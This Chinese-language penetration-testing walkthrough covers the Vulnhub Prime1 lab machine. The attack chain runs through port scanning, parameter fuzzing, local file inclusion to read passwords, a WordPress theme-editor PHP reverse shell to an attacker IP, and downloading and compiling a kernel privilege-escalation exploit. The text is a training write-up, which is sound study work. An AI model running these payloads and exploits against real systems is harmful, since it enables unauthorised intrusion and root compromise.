Vulnhub靶机实操笔记-Prime1-解法一
字数 1300 2025-08-10 17:51:54

Vulnhub靶机Prime1渗透测试实战教学文档

一、信息收集阶段

1. 主机发现与端口扫描

基础扫描命令:

sudo nmap -sn 192.168.32.0/24

快速全端口扫描:

sudo nmap --min-rate 10000 -p- 192.168.32.140 -oA report/min-rate
  • --min-rate 10000:设置不低于10000包/秒的扫描速度
  • -p-:扫描所有65535个端口
  • -oA:将结果输出为所有格式文件到指定目录

TCP服务扫描:

sudo nmap -sT -sV -O -p22,80 192.168.32.140 -oA report/heavy-sT
  • -sT:TCP连接扫描
  • -sV:服务版本探测
  • -O:操作系统探测

UDP扫描:

sudo nmap -sU -p22,80 192.168.32.140 -oA report/heavy-U

漏洞扫描:

sudo nmap --script=vuln -p22,80 192.168.32.140

发现CVE-2007-6750 DOS漏洞

2. 目录扫描

基础目录扫描:

dirb http://192.168.32.140

发现WordPress和/dev路径,提示"level 0"信息

指定扩展名扫描:

dirb http://192.168.32.140 -X .zip,.txt -o report/dirbveryharb.txt

发现secret.txt文件,内容提示:

  • 在PHP页面上进行模糊测试
  • 参考工具:https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

PHP文件扫描:

dirb http://192.168.32.140 -X .php

发现index.php和image.php

二、参数模糊测试

使用wfuzz进行参数测试:

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.32.140/index.php?FUZZ=ss
  • -c:彩色输出
  • -w:指定字典文件
  • --hh 136:过滤HTTP响应码为136的结果
  • FUZZ:参数占位符

发现有效参数:

  • index.php的file参数
  • image.php的secrettier360参数

文件包含测试:

http://192.168.32.140/image.php?secrettier360=/etc/passwd

发现/home/saket/password.txt文件

获取密码:

sudo curl http://192.168.32.140/image.php?secrettier360=/home/saket/password.txt

获取密码:follow_the_ippsec

三、WordPress攻击

1. WPScan扫描

sudo wpscan --url http://192.168.32.140/wordpress -e u
  • -e u:枚举用户名
  • 发现用户:victor

2. WordPress后台利用

登录凭证:

  • 用户名:victor
  • 密码:follow_the_ippsec

利用方法:

  1. 尝试插件上传(失败)
  2. 使用主题编辑器写入Web Shell

PHP反弹Shell代码:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.131/1234 0>&1'"); ?>

Shell触发路径:

http://192.168.32.140/wordpress/wp-content/themes/twentynineteen/secret.php

四、权限提升

1. 系统信息收集

查看内核信息:

uname -a

发现Ubuntu 4.10.0-28内核

查看sudo权限:

sudo -l

发现用户saket可以无密码以root执行enc程序

2. 内核提权

查找漏洞利用:

searchsploit Linux ubuntu 4.10.0-28

发现可用漏洞:

  • Linux内核<4.13.9 (Ubuntu 16.04/Fedora 27) - 本地权限提升 (45010.c)

下载利用代码:

searchsploit Linux ubuntu -m 45010

本地搭建HTTP服务:

sudo php -S 0:80

靶机下载并编译:

cd /tmp
wget http://192.168.32.131/45010.c
gcc 45010.c -o 45010
chmod +x 45010
./45010

3. 稳定Shell获取

python -c "import pty;pty.spawn('/bin/bash')"

五、关键知识点总结

  1. 信息收集:Nmap扫描技巧,特别是--min-rate参数用于快速扫描
  2. 目录爆破:dirb工具使用及-X参数指定扩展名扫描
  3. 参数模糊测试:wfuzz工具的高级用法和结果过滤
  4. 文件包含漏洞:通过参数测试发现并利用LFI漏洞
  5. WordPress利用:WPScan枚举用户+主题编辑器写入Web Shell
  6. 内核提权:searchsploit查找漏洞,本地编译执行EXP
  7. 稳定Shell:Python PTY技术获取交互式Shell

六、靶机下载链接

https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

通过本实战案例,完整展示了从信息收集到最终获取root权限的全过程,涵盖了Web渗透和系统提权的关键技术点。

Vulnhub靶机Prime1渗透测试实战教学文档 一、信息收集阶段 1. 主机发现与端口扫描 基础扫描命令: 快速全端口扫描: --min-rate 10000 :设置不低于10000包/秒的扫描速度 -p- :扫描所有65535个端口 -oA :将结果输出为所有格式文件到指定目录 TCP服务扫描: -sT :TCP连接扫描 -sV :服务版本探测 -O :操作系统探测 UDP扫描: 漏洞扫描: 发现CVE-2007-6750 DOS漏洞 2. 目录扫描 基础目录扫描: 发现WordPress和/dev路径,提示"level 0"信息 指定扩展名扫描: 发现secret.txt文件,内容提示: 在PHP页面上进行模糊测试 参考工具:https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_ For_ Web PHP文件扫描: 发现index.php和image.php 二、参数模糊测试 使用wfuzz进行参数测试: -c :彩色输出 -w :指定字典文件 --hh 136 :过滤HTTP响应码为136的结果 FUZZ :参数占位符 发现有效参数: index.php的 file 参数 image.php的 secrettier360 参数 文件包含测试: 发现/home/saket/password.txt文件 获取密码: 获取密码: follow_the_ippsec 三、WordPress攻击 1. WPScan扫描 -e u :枚举用户名 发现用户:victor 2. WordPress后台利用 登录凭证: 用户名:victor 密码:follow_ the_ ippsec 利用方法: 尝试插件上传(失败) 使用主题编辑器写入Web Shell PHP反弹Shell代码: Shell触发路径: 四、权限提升 1. 系统信息收集 查看内核信息: 发现Ubuntu 4.10.0-28内核 查看sudo权限: 发现用户saket可以无密码以root执行enc程序 2. 内核提权 查找漏洞利用: 发现可用漏洞: Linux内核 <4.13.9 (Ubuntu 16.04/Fedora 27) - 本地权限提升 (45010.c) 下载利用代码: 本地搭建HTTP服务: 靶机下载并编译: 3. 稳定Shell获取 五、关键知识点总结 信息收集 :Nmap扫描技巧,特别是 --min-rate 参数用于快速扫描 目录爆破 :dirb工具使用及 -X 参数指定扩展名扫描 参数模糊测试 :wfuzz工具的高级用法和结果过滤 文件包含漏洞 :通过参数测试发现并利用LFI漏洞 WordPress利用 :WPScan枚举用户+主题编辑器写入Web Shell 内核提权 :searchsploit查找漏洞,本地编译执行EXP 稳定Shell :Python PTY技术获取交互式Shell 六、靶机下载链接 通过本实战案例,完整展示了从信息收集到最终获取root权限的全过程,涵盖了Web渗透和系统提权的关键技术点。